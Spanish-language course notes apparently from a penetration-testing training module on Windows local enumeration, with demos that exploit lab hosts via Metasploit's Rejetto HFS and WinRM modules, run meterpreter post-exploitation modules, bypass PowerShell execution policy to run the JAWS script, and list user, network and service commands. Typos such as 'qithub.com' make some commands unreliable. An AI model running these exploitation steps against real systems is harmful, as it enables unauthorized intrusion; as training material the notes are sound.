Windows Enumeration

Windows Local Enumeration

Enumerating System Information

Después de obtener acceso inicial a un sistema de destino, siempre es importante obtener más información sobre el sistema, como qué sistema operativo se está ejecutando y la versión del sistema operativo. Esta información es muy útil, ya que nos da una idea de lo que podemos hacer y qué tipo de exploits podemos ejecutar.

¿Qué estamos buscando?

  • Hostname

  • OS Name (Windows 7, 8 etc)

  • OS Build & Service Pack (Windows 7 SPI 7600)

  • OS Architecture (x64/x86)

  • Installed updates/Hotfixes

Demo: Enumerating System Information

# Enumeracion
nmap -sV 10.2.24.80
# Busqueda de vulnerabilidad
searchsploit rejetto
# Metasploit
msf5 > search rejetto
msf5 > use exploit/windows/http/rejetto_hfs_exec
msf5 exploit(windows/http/rejetto_hfs_exec) > show options
msf5 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.2.24.80
msf5 exploit(windows/http/rejetto_hfs_exec) > exploit

# Enumeracion Local
meterpreter > getuid # Usuario actual
meterpreter > sysinfo # Hostname - SO Edition - Copilacion - Arquitectura
# Enumeracion por comandos de Windows
meterpreter > shell

hostname
systeminfo # Mostrara toda la informacion del SO
                Host Name:
                OS Name:
                OS Version:
                OS Manufacturer:
                OS Configuration:
                OS Build Type:
                Registered Owner:
                Registered Organization:
                Product ID:
                Original Install Date:
                System Boot Time:
                System Manufacturer:
                System Model:
                System Type:
                Processor(s) :
                BIOS Version:
                Windows Directory:
                System Directory:
                Boot Device:
                System Locale:
                Input Locale:
                Time Zone:
                Total Physical Memory:
                Virtual Memory: Max Size:
                Virtual Memory: Available:
                Virtual Memory: In Use:
                Page File Location(s):
                Domain :
                Logon Server:
                Hotfix(s):
                Network Card(s) :
                Hyper-V Requirements:

# Otro tipo de enumeracion WMIC
wmic qfe get Caption,Description.HotfFxId,IstalledOn

# Informacion pertienente al SO, compilacion, etc
meterpreter > cd C:\\
meterpreter > cd Windows
meterpreter > cd System32
meterpreter > cat eula.txt

Quiz: Enumerating System Information

Enumerating Users & Groups

Después de obtener acceso inicial a un sistema de destino, siempre es importante obtener más información sobre el sistema, como por ejemplo, a qué cuenta de usuario tiene acceso y otras cuentas de usuario en el sistema.

¿Qué estamos buscando?

  • Current user & privileges

  • Additional user information

  • Other users on the system

  • Groups

  • Members of the built-in administrator group

Demo: Enumerating Users & Groups

# Primero hacemos la explotacion
msf5 > search rejetto

msf5 > use O
msf5 exploit (windows/http/rejetto_hfs_exec > set RHOSTS 10.2.22.30
msf5 exploit (windows/http/rejetto_hfs_exec > exploit
meterpreter > getuid
Server username: WIN-OMCNBKR66MN\Administrator

# Enumeracion de Privilegios asociados el usuarios
meterpreter > getprivs

#
meterpreter > background

# Enumeracion de Usuarios y Grupos
msf5 exploit (windows/http/rejetto h fs exec) > search logged_on
msf5
msf5
exploit (windows/http/rejetto hfs exec) > use 0
post (windows/ gather/ enum logged_on users
) > show options

set SESSION 1
run

# Enumeracion del Usuario actual
C:\hfs>whoami
# Enumeracion de los Priv Usuario
C:\hfs>whoami /priv
# Usuarios conecctados
C:\hfs>query user
# Lista de usuarios
C:\hfs>net users
# Informacion de un usuario es especifico
C:\hfs>net user administrator
# Enumeracion de grupos
C:\hfs>net localgroup
# Ver miembros por grupo
C:\hfs>net localgroup Administrators

Quiz: Enumerating Users & Groups

Enumerating Network Information

¿Qué estamos buscando?

  • Current IP address & network adapter

  • Internal networks \

  • TCP/UDP services running and their respective ports

  • Other hosts on the network

  • Routing table

  • Windows Firewall state

Demo: Enumerating Network Information

# Post explotacion

meterpreter > shell

# Obtener informacion IP / Adaptador
C:\hfs>ipconfig
# Informacion adicional de los adaptadores
C:\hfs> ipconfig /all
# Tabla de enrutamiento
C:\hfs> route print
# Descubrimiento de otros equipos en la red
C:\hfs> arp -a
# Lista de conexiones por servicios
C:\hfs> netstat -ano
# Estado del Firewall
C:\hfs> netsh firewall show state
C:\hfs> netsh advfirewall show all profiles

Quiz: Enumerating Network Information

Enumerating Processes & Services

Después de obtener acceso inicial a un sistema de destino, siempre es importante obtener más información sobre el sistema, como qué procesos, servicios y tareas programadas se están ejecutando actualmente.

¿Qué estamos buscando?

  • Running processes & services

  • Scheduled tasks

Un proceso es una instancia de un programa o archivo ejecutable (.exe) en ejecución.

Un servicio es un proceso que se ejecuta en segundo plano y no interactúa con el escritorio.

Demo: Enumerating Processes & Services

# Despues de tener acceso al objetivo

# Lista de procesos (PID, Nombre, User (Privilegios asociados al usuario)
# Si tiene acceso como una cuenta en espcifico para los procesos de windows
# Significa que tiene privilegio como el usuario correspondiente ejemplo Bob
ps

# Migrar de procesos
# Obtenemos el PID de Explorer.exe debido a que no se detiene o rara vez tiene problemas
# Forma de buscar el proceso
pgrep explorer .exe
migrate <PID>
# Cunado migra de proceso tambien migra de arquitectura el interprete

meterpreter > shell

# Lista de todos los servicios en ejecucion
C:\Windows\system32>wmic service list brief

# Procesos que se ejecutan bajo un proceso
C:\Windows\system32>tasklist / SVC

# Enumerar tareas programads
C:\Windows\system32>schtasks /query /fo LIST
C:\Windows\system32>schtasks /query /fo LIST V

Quiz: Enumerating Processes & Services

Automating Windows Local Enumeration

Además de realizar la enumeración local de forma manual, también podemos automatizar el proceso con la ayuda de algunos scripts y módulos MSF.

Si bien es importante conocer las técnicas y los comandos de enumeración local, como evaluador de penetración, deberá ser eficiente en el uso del tiempo. Como resultado, deberá aprender a utilizar varios scripts de enumeración automatizados.

Además de automatizar el proceso de enumeración de información como información del sistema, usuarios y grupos, etc., estos scripts de enumeración automatizados también le brindarán información adicional sobre el sistema de destino como vulnerabilidades de escalada de privilegios, contraseñas almacenadas localmente, etc.

Windows Local Enum Scripts

JAWS - Just Another Windows (Enum) Script - JAWS es un script de PowerShell diseñado para ayudar a los evaluadores de penetración (y a los usuarios de CTF) a identificar rápidamente posibles vectores de escalada de privilegios en sistemas Windows. Está escrito con PowerShell 2.0, por lo que "debería" ejecutarse en todas las versiones de Windows a partir de Windows 7.

Repositorio de GitHub: https://qithub.com/411Hall/JAWS

Demo: Automating Windows Local Enumeration

# Proceso de explotacion
nmap -sv -p 5985 10.2.21.181
# Una vez identificado las credenciales procdemos a la expltacion
msf6 > search winrm
msf6 > use 4
msf6 exploit (windows/winrm/winrm_script_exec) > show options
msf6 exploit (windows/winrm/winrm_script_exec) > set RHOSTS 10.2.21.1811
msf6 exploit (windows/winrm/winrm_script_exec) > set USERAME Administrator
msf6 exploit (windows/winrm/winrm_script_exec) > set PASSWORD tinkerbelll
msf6 exploit (windows/winrm/winrm_script_exec) > set FORCE_VBS true
msf6 exploit (windows/winrm/winrm_script_exec) > exploit
meterpreter > sysinfo
# Post explotacion

# Privilegios de usuario
# Enumeracion de usuarios y grupos
msf6 exploit (windows/winrm/winrm script exec) > search win privs
msf6 post (windows/gather/win_privs) > use 0
msf6 post (windows/gather/win_privs) > set SESSION 1
msf6 post (windows/gather/win_privs) > run

# Usuarios logeados
msf6 post (windows/gather/win_privs) > search enum_logged
use 0
set SESSION 1
msf6 post(windows/gather/enum_togged_on_users) > run

# VERIFICAR SI ES UNA MAQUINA VIRTUAL
msf6 post(windows/gather/enum_logged_on_users) > search checkvm
use 2
msf6 post(windows/gather/checkvm) > set SESSION 1
msf6 post(windows/gather/checkvm) > run

# Enumeracion de Aplicaciones ionstaladas
search enum_applications
msf6 post(windows/gather/enum_applications) > use 0
msf6 post(windows/gather/enum_applications) > set SESSION 1
msf6 post(windows/gather/enum_applications) > run

# Enumeracion de todas las computadoras conectadas a la misma red
search enum computers
use 0
msf6 post(windows/gather/enum_computers) > set SESSION 1
run

# Enumeracion de instlacion de parches 
search enum_patches
use 0
set SESSION 1
msf6 post (windows/gather/enum_patches) > run


# Enumeracion de recursos compartidos
msf6 post (windows/gather/enum patches) > search enum_shares
use windows/gather/enum_shares
set SESSION 1
run

Enumeracion JAWS

# Compiamos el script ps1
# Una vez ya vulnerado el sistema se debe de proceder a trasferir al obejtivo
meterppreter > cd C:\\
meterpreter > dir
Listing: C:\
# Se debe de crear un directorio temporal para todo lo que hagamos
meterpreter > mkdir Temp
Creating directory: Temp
meterpreter > cd Temp

# Transferimos
meterpreter > upload /root/Desktop/jaws-enum.ps1
meterpreter > shell
C:\Temp>powershell.exe -ExecutionPoliqy Bypass -File .\jaws-enum.psl -OutputFilename JAWS-Enum.txt•


# Descargar el archivo que se genero
meterpreter > download JAWS-Enum.txt

# Revisar el archivo de salida, el cual trae todas las enumeraciones vistas

Quiz: Automating Windows Local Enumeration

Last updated